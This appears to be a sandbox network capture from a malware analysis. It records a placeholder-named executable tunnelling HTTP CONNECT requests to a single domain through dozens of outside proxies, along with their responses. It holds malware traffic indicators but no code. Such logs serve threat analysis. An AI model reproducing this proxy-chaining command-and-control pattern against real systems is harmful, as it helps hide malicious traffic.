Mar 11, 2024 15:21:02.787600040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.9	51144	174.64.199.79	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.788239956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.9	51071	79.110.201.235	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.791477919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.9	51104	3.122.84.99	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.792093992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.097214937 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.9	51107	176.31.110.126	45517	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.795293093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.9	51072	54.223.158.88	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.866321087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.218229055 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.9	51074	152.32.84.108	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.870307922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.9	51145	147.75.92.251	10089	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.870496988 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:03.153809071 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.9	51105	185.49.31.207	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.871283054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.9	51160	184.181.217.213	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.873606920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.9	51200	104.21.64.208	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.874113083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.029328108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.9	51090	161.97.163.52	29631	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.874197006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.653232098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.9	51149	121.128.194.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.874567986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.9	51151	217.23.11.194	47152	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.874732971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.169040918 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.9	51199	162.159.241.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.875319958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.036268950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.9	51102	49.228.131.169	5000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.876166105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.9	51211	104.17.171.79	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.878689051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.032949924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.9	50771	41.65.236.39	1976	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.879853964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.012593031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.997121096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903583050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.591057062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.204713106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.887576103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.903129101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:17.949958086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.9	51146	43.133.136.208	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.901761055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.9	51158	182.106.220.252	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.903798103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.253386021 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.9	51168	84.39.112.144	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.906949043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.9	51106	89.218.8.152	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.912851095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.746964931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.9	51217	51.81.186.179	58630	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.915437937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.9	51165	120.78.191.68	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.916491985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.262979984 CET	318	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 15:21:03.263072968 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.9	50015	94.131.14.66	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.916975975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.934595108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.935127974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.936803102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
